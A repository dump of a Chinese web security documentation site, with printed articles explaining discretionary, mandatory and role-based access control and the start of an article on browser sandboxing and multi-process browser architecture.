├── .gitignore ├── README.md ├── docs ├── content │ ├── Access_Control │ │ ├── DAC.md │ │ ├── MAC.md │ │ ├── Overview.md │ │ ├── Perform.md │ │ └── RBAC.md │ ├── Browser_Security │ │ ├── Browser-Sandbox.md │ │ ├── Malicious-URL-interception.md │ │ └── Same-Origin-Policy.md │ ├── CSRF │ │ ├── CSRF_Attack.md │ │ ├── CSRF_Defense.md │ │ └── Overview.md │ ├── Clickjacking │ │ ├── Click Jacking defence.md~ │ │ ├── Click_Jacking.md │ │ ├── Click_Jacking.md~ │ │ ├── Click_Jacking_defence.md │ │ ├── Overview.md │ │ └── Overview.md~ │ ├── DOS │ │ ├── Overviewed.md │ │ └── general-dos.md │ ├── SQL_injection │ │ ├── Overview.md │ │ ├── Overview.md~ │ │ ├── SQL_injection defence.md~ │ │ ├── SQL_injection.md │ │ ├── SQL_injection.md~ │ │ └── SQL_injection_defence.md │ ├── Web_Server_Sercurity │ │ ├── Apache2-WAF.md │ │ └── Web-Server-Sercurity.md │ ├── Web_framework │ │ ├── Overview.md │ │ ├── XSS.md │ │ └── csrf.md │ └── XSS │ │ ├── CSS-history-hack.md │ │ ├── Overview.md │ │ ├── XSS-Cookie.md │ │ ├── XSS-Defense.md │ │ └── XSS-Worm.md ├── img │ ├── Bell-Lapadula.png │ ├── CSS-1.png │ ├── CSS-2.png │ ├── CSS-3.png │ ├── ClickJacking.jpg │ ├── Cookie.png │ ├── Dom-XSS.png │ ├── Linux_file.jpg │ ├── MVC.png │ ├── Malicious-1.png │ ├── Malicious-2.png │ ├── Persistent-XSS.png │ ├── Reflected-XSS.png │ ├── SQL_Injection.jpg │ ├── Same-Origin-Policy-1.png │ ├── Same-Origin-Policy-2.png │ ├── Sandbox-1.png │ ├── TapJacking.jpg │ ├── attack.png │ ├── browse.png │ ├── csrf_attack.png │ ├── evil2.png │ ├── favicon.ico │ ├── favicon.png │ ├── initial-config.png │ ├── initial-layout.png │ ├── injection.png │ ├── login.png │ ├── login1.png │ ├── login2.png │ ├── modsecurity.png │ ├── myzoo.png │ ├── readthedocs.png │ ├── register.png │ ├── screenshot.png │ ├── site-name.png │ ├── waf-1.png │ ├── waf-2.png │ ├── xss-1.png │ ├── xss-2.png │ ├── xss-3.png │ ├── xss-4.png │ ├── xss-5.png │ ├── xss-6.png │ ├── xss-7.png │ ├── xss-8.png │ ├── xss-9.png │ ├── xss-defense-1.png │ ├── xss-worm-1.jpg │ ├── xss-worm-2.png │ ├── xss-worm-3.png │ ├── xss-worm-4.png │ └── xss-worm-5.png └── index.md ├── material ├── base.html ├── content.html ├── css │ ├── base.css │ ├── main.css │ ├── materialize.css │ ├── materialize.min.css │ └── prism.css ├── font │ ├── material-design-icons │ │ ├── LICENSE.txt │ │ ├── Material-Design-Icons.eot │ │ ├── Material-Design-Icons.svg │ │ ├── Material-Design-Icons.ttf │ │ ├── Material-Design-Icons.woff │ │ └── Material-Design-Icons.woff2 │ └── roboto │ │ ├── Roboto-Bold.ttf │ │ ├── Roboto-Bold.woff │ │ ├── Roboto-Bold.woff2 │ │ ├── Roboto-Light.ttf │ │ ├── Roboto-Light.woff │ │ ├── Roboto-Light.woff2 │ │ ├── Roboto-Medium.ttf │ │ ├── Roboto-Medium.woff │ │ ├── Roboto-Medium.woff2 │ │ ├── Roboto-Regular.ttf │ │ ├── Roboto-Regular.woff │ │ ├── Roboto-Regular.woff2 │ │ ├── Roboto-Thin.ttf │ │ ├── Roboto-Thin.woff │ │ └── Roboto-Thin.woff2 ├── img │ └── favicon.ico ├── js │ ├── init.js │ ├── jquery-2.1.1.min.js │ ├── main.min.js │ ├── materialize.js │ ├── materialize.min.js │ └── prism.js ├── nav.html └── toc.html ├── mkdocs.yml ├── orange ├── base.html ├── content.html ├── css │ ├── base.css │ ├── bootstrap-custom.min.css │ ├── font-awesome-4.0.3.css │ └── highlight.css ├── fonts │ ├── fontawesome-webfont.eot │ ├── fontawesome-webfont.svg │ ├── fontawesome-webfont.ttf │ └── fontawesome-webfont.woff ├── img │ └── favicon.ico ├── js │ ├── base.js │ ├── bootstrap-3.0.3.min.js │ ├── highlight.pack.js │ └── jquery-1.10.2.min.js ├── nav.html └── toc.html └── site ├── 404.html ├── content ├── Access_Control │ ├── DAC │ │ └── index.html │ ├── MAC │ │ └── index.html │ ├── Overview │ │ └── index.html │ └── RBAC │ │ └── index.html ├── Browser_Security │ ├── Browser-Sandbox │ │ └── index.html │ ├── Malicious-URL-interception │ │ └── index.html │ └── Same-Origin-Policy │ │ └── index.html ├── CSRF │ ├── CSRF_Attack │ │ └── index.html │ ├── CSRF_Defense │ │ └── index.html │ └── Overview │ │ └── index.html ├── Clickjacking │ ├── Click Jacking defence.md~ │ ├── Click_Jacking.md~ │ ├── Click_Jacking │ │ └── index.html │ ├── Click_Jacking_defence │ │ └── index.html │ ├── Overview.md~ │ └── Overview │ │ └── index.html ├── DOS │ ├── Overviewed │ │ └── index.html │ └── general-dos │ │ └── index.html ├── SQL_injection │ ├── Overview.md~ │ ├── Overview │ │ └── index.html │ ├── SQL_injection defence.md~ │ ├── SQL_injection.md~ │ ├── SQL_injection │ │ └── index.html │ └── SQL_injection_defence │ │ └── index.html ├── Web_Server_Sercurity │ ├── Apache2-WAF │ │ └── index.html │ └── Web-Server-Sercurity │ │ └── index.html ├── Web_framework │ ├── Overview │ │ └── index.html │ ├── XSS │ │ └── index.html │ └── csrf │ │ └── index.html └── XSS │ ├── CSS-history-hack │ └── index.html │ ├── Overview │ └── index.html │ ├── XSS-Cookie │ └── index.html │ ├── XSS-Defense │ └── index.html │ └── XSS-Worm │ └── index.html ├── css ├── base.css ├── bootstrap-custom.min.css ├── font-awesome-4.0.3.css ├── highlight.css ├── main.css ├── materialize.css ├── materialize.min.css ├── prettify-1.0.css └── prism.css ├── font ├── material-design-icons │ ├── LICENSE.txt │ ├── Material-Design-Icons.eot │ ├── Material-Design-Icons.svg │ ├── Material-Design-Icons.ttf │ ├── Material-Design-Icons.woff │ └── Material-Design-Icons.woff2 └── roboto │ ├── Roboto-Bold.ttf │ ├── Roboto-Bold.woff │ ├── Roboto-Bold.woff2 │ ├── Roboto-Light.ttf │ ├── Roboto-Light.woff │ ├── Roboto-Light.woff2 │ ├── Roboto-Medium.ttf │ ├── Roboto-Medium.woff │ ├── Roboto-Medium.woff2 │ ├── Roboto-Regular.ttf │ ├── Roboto-Regular.woff │ ├── Roboto-Regular.woff2 │ ├── Roboto-Thin.ttf │ ├── Roboto-Thin.woff │ └── Roboto-Thin.woff2 ├── fonts ├── fontawesome-webfont.eot ├── fontawesome-webfont.svg ├── fontawesome-webfont.ttf └── fontawesome-webfont.woff ├── img ├── Bell-Lapadula.png ├── CSS-1.png ├── CSS-2.png ├── CSS-3.png ├── ClickJacking.jpg ├── Cookie.png ├── Dom-XSS.png ├── Linux_file.jpg ├── MVC.png ├── Malicious-1.png ├── Malicious-2.png ├── Persistent-XSS.png ├── Reflected-XSS.png ├── SQL_Injection.jpg ├── Same-Origin-Policy-1.png ├── Same-Origin-Policy-2.png ├── Sandbox-1.png ├── TapJacking.jpg ├── attack.png ├── browse.png ├── csrf_attack.png ├── evil2.png ├── favicon.ico ├── favicon.png ├── grid.png ├── initial-config.png ├── initial-layout.png ├── injection.png ├── login.png ├── login1.png ├── login2.png ├── modsecurity.png ├── myzoo.png ├── readthedocs.png ├── register.png ├── screenshot.png ├── site-name.png ├── waf-1.png ├── waf-2.png ├── xss-1.png ├── xss-2.png ├── xss-3.png ├── xss-4.png ├── xss-5.png ├── xss-6.png ├── xss-7.png ├── xss-8.png ├── xss-9.png ├── xss-defense-1.png ├── xss-worm-1.jpg ├── xss-worm-2.png ├── xss-worm-3.png ├── xss-worm-4.png └── xss-worm-5.png ├── index.html ├── js ├── base.js ├── bootstrap-3.0.3.min.js ├── highlight.pack.js ├── init.js ├── jquery-2.1.1.min.js ├── main.min.js ├── materialize.js ├── materialize.min.js ├── prettify-1.0.min.js └── prism.js └── license └── highlight.js └── LICENSE /.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/.gitignore -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Web Security documents 2 | 3 | Please check docs/help.md get detail information. 4 | 5 | -------------------------------------------------------------------------------- /docs/content/Access_Control/DAC.md: -------------------------------------------------------------------------------- 1 | #DAC 2 | 3 | Discretionary Access Control 4 | 5 | --- 6 | 7 | ###自主访问控制 8 | 9 | 访问控制是指控制系统中主体(例如进程)对客体(例如文件目录等)的访问(例如读、写和执行等)。自主访问控制中主体对客体的访问权限是由客体的属主决定的,也就是说系统允许主体(客体的拥有者)可以按照自己的意愿去制定谁以何种访问模式去访问该客体。 10 | 11 | ####自主访问控制的主要特点 12 | 13 | 自主访问控制是一种最普遍的访问控制安全策略,其最早出现在20世纪70年代初期的分时系统中,基本思想伴随着访问矩阵被提出,在在目前流行的Unix类操作系统中被广泛使用。自主访问控制基于对主体的识别来限制对客体的访问,这种控制是自主的。与其他访问控制策略最大的区别在于,自主访问控制中部分具有对其他主体授予某种访问权限权利的主体可以自主地(可以是间接地)将访问权限或访问权限的子集授予其他主体。在自主访问控制中具有这种授予权力的主体通常是客体的主人,因此有学者把自主访问控制称为基于主人的访问控制。 14 | 15 | ###自主访问控制策略 16 | 17 | 自主访问控制策略作为最早被提出的访问控制策略之一,至今已有多种改进的访问控制策略。下面列举传统DAC策略和几种由DAC发展而来的访问控制策略。 18 | 19 | ####传统DAC策略 20 | 21 | 传统DAC策略的基本过程已在上文中介绍过,可以看出,访问权限的管理依赖于所有对客体具有访问权限的主体。明显的,自主访问控制主要存在着以下三点不足: 22 | 23 | 资源管理比较分散 24 | 用户间的关系不能在系统中体现出来,不易管理 25 | 不能对系统中的信息流进行保护,容易泄露,无法抵御特洛伊木马 26 | 27 | 其中,第三点的不足对安全管理来说是非常不安全的,针对自主访问控制的不足,许多研究者对其提出了一系列的改进措施。 28 | 29 | ####HRU、TAM、ATAM策略 30 | 31 | 早在70年代末,M. A. Harrison,W. L. Ruzzo和J. D. UIIman就对自主访问控制进行扩充,提出了客体主人自主管理该客体的访问和安全管理员限制访问权限随意扩散相结合的半自主式的HRU访问控制模型。1992年,Sandhu等人为了表示主体需要拥有的访问权限,将HRU模型发展为TAM(Typed Access Matrix)模型。随后,为了描述访问权限需要动态变化的系统安全策略,TAM发展为ATAM(Augmented TAM)模型。 32 | 33 | HRU与传统DAC最大的不同在于它将访问权限的授予改为半自主式:主体仍然有权利将其具有的访问权限授予给其他客体,这种授予行为也要受到一个调整访问权限分配的安全策略的限制,通常这个安全策略由安全管理员来制定。 34 | 35 | 在HRU中,每次对访问矩阵进行改变时(包括对主体、客体以及权限的改变),先生成一个临时的结果,然后用调整访问权限分配的安全策略来对这个临时结果进行判断。如果这个结果符合此安全策略,才允许此次访问权限的授予。 36 | 37 | TAM策略对此作出了改进:每当产生新主体时,管理员就需要对新主体的访问权限和它本身所拥有权限的扩散范围进行限定;每当产生新客体时,其所属主体和管理员就需要对其每一种权限的扩散范围进行限定。这样一来,只要前期系统架构合理,TAM就能极为方便的控制住访问权限的扩散范围。 38 | 39 | ATAM策略则是在TAM策略的基础上,为了描述访问权限需要动态变化的系统安全策略而发展出来的安全策略。 40 | 41 | ###总结及自主访问控制的发展趋势 42 | 43 | 自主访问控制作为伴随访问矩阵提出的访问控制策略,经过多年的发展已经有着许多种改进和加强的版本。而在当今,由于大规模网络和分布式环境的广泛应用,组织和系统中用户安全需求的不断复杂化,因此自主访问控制技术的研究将会呈现以下发展趋势: 44 | 45 | 首先,网络和分布式系统中的自主访问控制技术会成为未来研究的热点,包括与其他不同的访问控制技术的统一和互联、与其他网络安全技术的合作、协作组织间的网络信息系统访问控制技术等将会成为重要的研究课题。 46 | 47 | 其次,组织与系统结构的复杂化将会导致用户安全需求的复杂化,安全操作系统同样需要自主访问控制的灵活性支持,它的发展将会朝具有支持多种安全策略的动态灵活性的方向发展。这将促进与安全策略无关的因素如何嵌入自主访问控制技术中的研究,包括基于角色/时间特性的自主访问控制的进一步研究和发展。 48 | 49 | 再次,面对越来越严峻的挑战,单一的安全技术几乎无法保证系统真正的安全,自主访问控制技术与其他访问控制技术、其他安全技术的结合也将成为研究热点,例如自主访问控制技术与密码技术、防火墙技术、认证技术等的进一步结合。 50 | 51 | -------------------------------------------------------------------------------- /docs/content/Access_Control/MAC.md: -------------------------------------------------------------------------------- 1 | #MAC 2 | 3 | Mandatory Access Control 4 | 5 | --- 6 | 7 | ###强制访问控制 8 | 9 | MAC ( Mandatory Access Control ) 源于对信息机密性的要求以及防止特洛伊木马之类的攻击。MAC通过无法回避的存取限制来阻止直接或间接的非法入侵。系统中的主/客体都被分配一个固定的安全属性, 利用安全属性决定一个主体是否可以访问某个客体。安全属性是强制性的, 由安全管理员 ( Security Officer ) 分配, 用户或用户进程不能改变自身或其它主 /客体的安全属性。MAC的本质是基于格的非循环单向信息流政策。系统中每个主体都被授予一个安全证书, 而每个客体被指定为一定的敏感级别。访问控制的两个关键规则是: 不向上读和不向下写, 即信息流只能从低安全级向高安全级流动。任何违反非循环信息流的行为都是被禁止的。 10 | 11 | MAC起初主要用于军方的应用中, 并且常与DAC结合使用, 主体只有通过了 DAC与 MAC的检查后, 才能访问某个客体。由于 MAC对客体施加了更严格的访问控制, 因而可以防止特洛伊木马之类的程序偷窃, 同时 MAC 对用户意外泄漏机密信息也有预防能力。但如果用户恶意泄漏信息, 则可能无能为力。由于 MAC增加了不能回避的访问限制, 因而影响了系统的灵活性; 另一方面, 虽然MAC增强了信息的机密性, 但不能实施完整性控制; 再者网上信息更需要完整性, 否则会影响 MAC的网上应用。在 MAC系统实现单向信息流的前提是系统中不存在逆向潜信道。逆向潜信道的存在会导致信息违反规则的流动。但现代计算机系统中这种潜信道是难以去除的, 如大量的共享存储器以及为提升硬件性能而采用的各种 Cache 等, 这给系统增加了安全隐患。 12 | 13 | ###强制访问控制的原理 14 | 15 | 在强制访问控制下,用户(或其他主体)与文件(或其他客体)都被标记了固定的安全属性(如安全级、访问权限等),在每次访问发生时,系统检测安全属性以便确定一个用户是否有权访问该文件。 16 | 17 | 强制访问控制是“强加”给访问主体的,即系统强制主体服从访问控制政策。强制访问控制(MAC)的主要特征是对所有主体及其所控制的客体(例如:进程、文件、段、设备)实施强制访问控制。为这些主体及客体指定敏感标记,这些标记是等级分类和非等级类别的组合,它们是实施强制访问控制的依据。系统通过比较主体和客体的敏感标记来决定一个主体是否能够访问某个客体。用户的程序不能改变他自己及任何其它客体的敏感标记,从而系统可以防止特洛伊木马的攻击。 18 | 19 | 强制访问控制一般与自主访问控制结合使用,并且实施一些附加的、更强的访问限制。一个主体只有通过了自主与强制性访问限制检查后,才能访问某个客体。用户可以利用自主访问控制来防范其它用户对自己客体的攻击,由于用户不能直接改变强制访问控制属性,所以强制访问控制提供了一个不可逾越的、更强的安全保护层以防止其它用户偶然或故意地滥用自主访问控制。 20 | 21 | 控制思想:每个客体都有既定的安全属性,每个客体也都有既定的安全属性,主体对客体是否执行特定的操作取决于两者安全属性之间的关系。 22 | 23 | 实现方式:所在主体(用户、进程)和客体(文件、数据)都被分配了安全标签,安全标签标识一个安全等级。 24 | 25 | ――主体被分配一个安全等级;客体也被分配一个安全等级 26 | ――访问控制执行时对主体和客体的安全级别进行划分 27 | 28 | 适用范围:MAC进行了很强的等级划分,通常用于多级安全军事系统。 29 | 30 | 强制访问策略将每个用户及文件赋于一个访问级别,如,最高秘密级(Top Secret),秘密级(Secret),机密级(Confidential)及无级别级(Unclassified)。其级别为T>S>C>U,系统根据主体和客体的敏感标记来决定访问模式。访问模式包括: 31 | 32 | 下读(read down):用户级别大于文件级别的读操作; 33 | 上写(Write up):用户级别小于文件级别的写操作; 34 | 下写(Write down):用户级别等于文件级别的写操作; 35 | 上读(read up):用户级别小于文件级别的读操作; 36 | 37 | ###强制访问控制方法 38 | 39 | 操作系统的某一合法用户可任意运行一段程序来修改该用户拥有的文件访问控制信息,而操作系统无法区别这种修改是用户自己的合法操作还是计算机 病毒的非法操作;另外,也没有什么一般的方法能够防止计算机病毒将信息通过共享客体从一个进程传送给另一个进程。为此,人们认识到必须采取更强有力的访问控制手段,这就是强制访问控制。在强制访问控制中,系统对主体与客体都分配一个特殊的一般不能更改的安全属性,系统通过比较主体与客体的安全属性来决定一个主体是否能够访问某个客体。用户为某个目的而运行的程序,不能改变它自己及任何其它客体的安全属性,包括该用户自己拥有的客体。强制访问控制还可以阻止 某个进程生成共享文件并通过这个共享文件向其它进程传递信息。 40 | 41 | 强制访问控制对专用的或简单的系统是有效的,但对通用、大型系统并不那么有效。一般强制访问控制采用以下几种方法: 42 | 43 | ####限制访问控制 44 | 45 | 一个持洛伊木马可以攻破任何形式的自主访问控制,由于自主控制方式允许用户程序来修改他拥有文件的存取控制表,因而为非法者带来可乘之机。MAC可以不提供这一方便,在这类系统中,用户要修改存取控制表的唯一途径是请求一个特权系统调用。该调用的功能是依据用户终端输入的信息,而不是靠另一个程序提供的信息来修改存取控制信息。 46 | 47 | ####过程控制 48 | 49 | 在通常的计算机系统中,只要系统允许用户自己编程,就没办法杜绝特洛伊木马。但可以对其过程采取某些措施,这种方法称为过程控制。例如,警告用户不要运行系统目录以外的任何程序。提醒用户注意,如果偶然调用一个其它目录的文件时,不要做任何动作,等等。需要说明的一点是,这些限制取决于用户本身执行与否。 50 | 51 | ####系统限制 52 | 53 | 要对系统的功能实施一些限制。比如,限制共享文件,但共享文件是计算机系统的优点,所以是不可能加以完全限制的。再者,就是限制用户编程。不过这种做法只适用于某些专用系统。在大型的,通用系统中,编程能力是不可能去除的。 54 | 55 | -------------------------------------------------------------------------------- /docs/content/Access_Control/Overview.md: -------------------------------------------------------------------------------- 1 | #访问控制 2 | 3 | Access_Control 4 | 5 | --- 6 | 7 | ##访问控制概念及要素 8 | 9 | 访问控制(Access Control)指系统对用户身份及其所属的预先定义的策略组限制其使用数据资源能力的手段。通常用于系统管理员控制用户对服务器、目录、文件等网络资源的访问。访问控制是系统保密性、完整性、可用性和合法使用性的重要基础,是网络安全防范和资源保护的关键策略之一,也是主体依据某些控制策略或权限对客体本身或其资源进行的不同授权访问。 10 | 11 | 访问控制包括三个要素:主体、客体和控制策略。 12 | 13 | (1)主体S(Subject)。是指提出访问资源具体请求。是某一操作动作的发起者,但不一定是动作的执行者,可能是某一用户,也可以是用户启动的进程、服务和设备等。 14 | 15 | (2)客体O(Object)。是指被访问资源的实体。所有可以被操作的信息、资源、对象都可以是客体。客体可以是信息、文件、记录等集合体,也可以是网络上硬件设施、无限通信中的终端,甚至可以包含另外一个客体。 16 | 17 | (3)控制策略A(Attribution)。是主体对客体的相关访问规则集合,即属性集合。访问策略体现了一种授权行为,也是客体对主体某些操作行为的默认。 18 | 19 | ##访问控制功能及原理 20 | 21 | 访问控制的主要功能包括:保证合法用户访问受权保护的网络资源,防止非法的主体进入受保护的网络资源,或防止合法用户对受保护的网络资源进行非授权的访问。访问控制首先需要对用户身份的合法性进行验证,同时利用控制策略进行选用和管理工作。当用户身份和访问权限验证之后,还需要对越权操作进行监控。 22 | 23 | (1)认证。包括主体对客体的识别及客体对主体的检验确认。 24 | 25 | (2)控制策略。通过合理地设定控制规则集合,确保用户对信息资源在授权范围内的合法使用。既要确保授权用户的合理使用,又要防止非法用户侵权进入系统,使重要信息资源泄露。同时对合法用户,也不能越权行使权限以外的功能及访问范围。 26 | 27 | (3)安全审计。系统可以自动根据用户的访问权限,对计算机网络环境下的有关活动或行为进行系统的、独立的检查验证,并做出相应评价与审计。 28 | 29 | ##访问控制分类 30 | 31 | 访问控制可分为自主访问控制(DAC)、强制访问控制(MAC)和基于角色访问控制(RBAC)三大类。 32 | 33 | ####自主访问控制 34 | 35 | 自主访问控制(Discretionary Access Control,DAC)是一种接入控制服务,通过执行基于系统实体身份及其到系统资源的接入授权。包括在文件,文件夹和共享资源中设置许可。用户有权对自身所创建的文件、数据表等访问对象进行访问,并可将其访问权授予其他用户或收回其访问权限。允许访问对象的属主制定针对该对象访问的控制策略,通常,可通过访问控制列表来限定针对客体可执行的操作。 36 | 37 | ①每个客体有一个所有者,可按照各自意愿将客体访问控制权限授予其他主体。 38 | ②各客体都拥有一个限定主体对其访问权限的访问控制列表(ACL)。 39 | ③每次访问时都以基于访问控制列表检查用户标志,实现对其访问权限控制。 40 | ④DAC的有效性依赖于资源的所有者对安全政策的正确理解和有效落实。 41 | 42 | DAC提供了适合多种系统环境的灵活方便的数据访问方式,是应用最广泛的访问控制策略。然而,它所提供的安全性可被非法用户绕过,授权用户在获得访问某资源的权限后,可能传送给其他用户。主要是在自由访问策略中,用户获得文件访问后,若不限制对该文件信息的操作,即没有限制数据信息的分发。所以DAC提供的安全性相对较低,无法对系统资源提供严格保护。 43 | 44 | ####强制访问控制 45 | 46 | 强制访问控制(MAC)是系统强制主体服从访问控制策略。是由系统对用户所创建的对象,按照规定的规则控制用户权限及操作对象的访问。主要特征是对所有主体及其所控制的进程、文件、段、设备等客体实施强制访问控制。在MAC中,每个用户及文件都被赋予一定的安全级别,只有系统管理员才可确定用户和组的访问权限,用户不能改变自身或任何客体的安全级别。系统通过比较用户和访问文件的安全级别,决定用户是否可以访问该文件。此外,MAC不允许通过进程生成共享文件,以通过共享文件将信息在进程中传递。MAC可通过使用敏感标签对所有用户和资源强制执行安全策略,一般采用3种方法:限制访问控制、过程控制和系统限制。MAC常用于多级安全军事系统,对专用或简单系统较有效,但对通用或大型系统并不太有效。 47 | 48 | MAC的安全级别有多种定义方式,常用的分为4级:绝密级(Top Secret)、秘密级(Secret)、机密级(Confidential)和无级别级(Unclas sified),其中T>S>C>U。所有系统中的主体(用户,进程)和客体(文件,数据)都分配安全标签,以标识安全等级。 49 | 50 | 通常MAC与DAC结合使用,并实施一些附加的、更强的访问限制。一个主体只有通过自主与强制性访问限制检查后,才能访问其客体。用户可利用DAC来防范其他用户对自己客体的攻击,由于用户不能直接改变强制访问控制属性,所以强制访问控制提供了一个不可逾越的、更强的安全保护层,以防范偶然或故意地滥用DAC。 51 | 52 | ####基于角色的访问控制 53 | 54 | 角色(Role)是一定数量的权限的集合。指完成一项任务必须访问的资源及相应操作权限的集合。角色作为一个用户与权限的代理层,表示为权限和用户的关系,所有的授权应该给予角色而不是直接给用户或用户组。 55 | 56 | 基于角色的访问控制(Role-Based Access Control,RBAC)是通过对角色的访问所进行的控制。使权限与角色相关联,用户通过成为适当角色的成员而得到其角色的权限。可极大地简化权限管理。为了完成某项工作创建角色,用户可依其责任和资格分派相应的角色,角色可依新需求和系统合并赋予新权限,而权限也可根据需要从某角色中收回。减小了授权管理的复杂性,降低管理开销,提高企业安全策略的灵活性。 57 | 58 | RBAC模型的授权管理方法,主要有3种: 59 | ①根据任务需要定义具体不同的角色。 60 | ②为不同角色分配资源和操作权限。 61 | ③给一个用户组(Group,权限分配的单位与载体)指定一个角色。 62 | 63 | RBAC支持三个著名的安全原则:最小权限原则、责任分离原则和数据抽象原则。前者可将其角色配置成完成任务所需要的最小权限集。第二个原则可通过调用相互独立互斥的角色共同完成特殊任务,如核对账目等。后者可通过权限的抽象控制一些操作,如财务操作可用借款、存款等抽象权限,而不用操作系统提供的典型的读、写和执行权限。这些原则需要通过RBAC各部件的具体配置才可实现。 64 | 65 | 在网络中,为了保护网络资源的安全,一般是通过路由设备或者防火墙建立基于IP的访问控制。这种访问控制的“主体”是网络请求的发起方,“客体”是网络请求的接收方,主体对客体的“操作”是对客体的某个端口发起网络请求,主体对客体的操作是对课题的某个端口发起网络请求。这个操作能否成功,是受到防火墙ACL策略限制的。 66 | 67 | 在操作系统中,对文件的访问也有访问控制。此时的“主体”是系统的用户,“客体”是被访问的文件,能否访问成功,将由操作系统给文件设置的ACL(访问控制表)决定。比如在Linux系统中,一个文件可执行的操作分为“读”、“写”、“执行”三种,分别由r、w、x表示。这三种操作同时对应着三种主体:文件拥有者、文件拥有者所在的用户组、其他用户。主体、客体、操作这三者之间的对应关系,构成了访问控制表。 68 | 69 | ![Linux_file](img/Linux_file.jpg) 70 | 71 | 在一个安全系统中,确定主体的身份是“认证”解决的问题;而客体是一种资源,是主体发起的请求的对象。在主体对客体进行操作的过程中,系统控制主体不能“无限制”的对客体进行操作,这个过程就是访问控制。 72 | 73 | 主体能够做什么,就是权限。在Linux的文件系统中,将权限分成了“读”、“写”、“执行”三种;在Web应用中,根据访问客体的不同,常见的访问控制可以分为“基于URL的访问控制”、“基于方法的访问控制”和“基于数据的访问控制”。 74 | -------------------------------------------------------------------------------- /docs/content/Access_Control/Perform.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/content/Access_Control/Perform.md -------------------------------------------------------------------------------- /docs/content/Access_Control/RBAC.md: -------------------------------------------------------------------------------- 1 | #RBAC 2 | 3 | Role-based access control 4 | 5 | --- 6 | 7 | ###基于角色的访问控制 8 | 9 | MAC和DAC两种访问控制模型都存在的不足是将主体和客体直接绑定在一起,授权时需要对每对(主体、客体)指定访问许可,这样存在的问题是当主体和客体达到较高的数量级之后,授权工作将非常困难。20世纪90年代以来,随着对在线的多用户、多系统研究的不断深入,角色的概念逐渐形成,并产生了以角色为中心的访问控制模型,并被广泛应用到各种计算机系统中。 10 | ####RBAC定义 11 | 12 | RBAC就是Role-Based Access Control,基于角色的访问控制。角色访问控制(RBAC)引入了Role的概念,目的是为了隔离User(即动作主体,Subject)与Privilege(权限,表示对Resource的一个操作,即Operation+Resource) ,更符合企业的用户、组织、数据和应用特征。 13 | 14 | RBAC的关注点在于Role与user,Role与privilege的关系,也就是User Assignment与Permission Assignment的关系。 15 | 16 | ####RBAC中的几个重要概念: 17 | 18 | Who:权限的拥有者或主体。典型的有Principal、User、Group、Role、Actor等等。跟授权有关系的实体就只有角色(Role)和用户(User)。譬如:业务经理(Role),张三(User) 19 | 20 | Role:作为一个用户(User)与权限(Privilege)的代理层,解耦了权限和用户的关系,所有的授权应该给予Role而不是直接给User或Group。基于角色的访问控制方法的思想就是把对用户的授权分成两部份,用角色来充当用户行驶权限的中介。角色是一组访问权限的集合,一个用户可以是很多角色的成员,一个角色也可以有很多个权限,而一个权限也可以重复配置于多个角色。 21 | 22 | User:用户就是一个可以独立访问计算机系统中的数据或者用数据表示的其它资源的主体,我们用USERS表示一个用户集合。用户在一般情况下是指人。 23 | 24 | Group:是一组相关user的集合。User从group继承出来,也就具有了该group的角色权限。 25 | 26 | ####RABC中的几种重要关系 27 | 28 | #####用户(User)和角色(Role) 29 | 30 | 用户指访问系统中的资源的主体,一般为人,也可为 Agent 等智能程序。角色指应用领域内一种权力和责任的语义综合体,可以是一个抽象概念,也可以是对应于实际系统中的特定语义体,比如组织内部的职务等。针对角色 属性的不同,某些模型中将角色进一步细分为普通角色和管理员角色(可理解为全局角色)。 31 | 32 | #####许可(Permissions)和权限(Permission) 33 | 34 | 许可描述了角色对计算机资源的访问和操作所具有的权限,其反映的是授权的结果。比如授予某个角色对计算机资源有读的权限,则代表了一个许可的存在,这个许 可表示:角色获取了对计算机资源的读许可。针对操作来说,其描述的是许可和操作之间的一种关联关系,而这层关系则表示了某一角色对某一操作所具有的权限及 权限状态。 35 | 36 | #####角色(Role)和指派(Assignment) 37 | 38 | 指派包含两个方面,用户指派和许可指派。用户指派表示的是,将用户指派给特定的角色。许可指派表示的是为角色指派计算机资源的访问和操作许可。 39 | 40 | #####角色(Role)和角色等级(Role Hierarchies) 41 | 42 | 角色本身仅仅只是一个名词,其本身并不能代表权限的大小。比如,我们可以定一个“Director”的角色,也可以定一个“Project Leader”的角色。对于现实中我们来说,看到这样两个角色,就清楚 DIR 的权限要比一个 PL 的权限级别高。但是对计算机来说,这两个角色仅仅是两个“词语”,是等同的。可以采用分等级角色,在角色上实现层次化来解决这些问题。也可以采用复合角色 (其表示的就是一个角色组的概念),对角色实现一定的分组和复合,以便于权限指派。在一些 OA 产品中经常出现分等级角色。 43 | -------------------------------------------------------------------------------- /docs/content/Browser_Security/Browser-Sandbox.md: -------------------------------------------------------------------------------- 1 | # Browser Sandbox 2 | 3 | 浏览器沙箱 4 | 5 | --- 6 | 7 | ##基本介绍 8 | 9 | 沙盒是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。而对于浏览器来说,采用 Sandbox 技术,无疑可以让不受信任的网页代码、JavaScript代码运行在一个受到限制的环境中,从而保护本地桌面系统的安全。 10 | 11 | ##多进程架构 12 | 13 | 近几年来,网站被挂马呈爆发趋势。“挂马”是浏览器需要面对的一个主要威胁。独立于杀毒软件之外,浏览器厂商根据挂马的特点研究出了一些对抗挂马的技术。 14 | 15 | 比如在Windows系统中,浏览器密切结合DEP、ASLR、SafeSEH等操作系统提供的保护技术,对抗内存攻击。与此同时,浏览器还发展出了多进程架构,从安全性上有了很大的提高。 16 | 17 | 浏览器的多进程架构,将浏览器的各个功能模块分开,各个浏览器实例分开,当一个进程崩溃时,也不会影响到其他的进程。 18 | 19 | Google Chrome 是第一个采取多进程架构的浏览器。Google Chrome的主要进程分为:浏览器进程、渲染进程、插件进程、扩展进程。插件进程如 flash、java、pdf等与浏览器进程严格隔离,因此不会相互影响。 20 | 21 | 多进程架构最明显的一个好处是,相对于单进程浏览器,在发生崩溃时,多进程浏览器只会崩溃当前的 Tab 页,而单进程浏览器则会崩溃整个浏览器进程。这对于用户体验是很大的提升。 22 | 23 | ##Sandbox 24 | 25 | Sandbox 即沙箱,计算机技术发展到今天,Sandbox已经成为泛指 “资源隔离类模块” 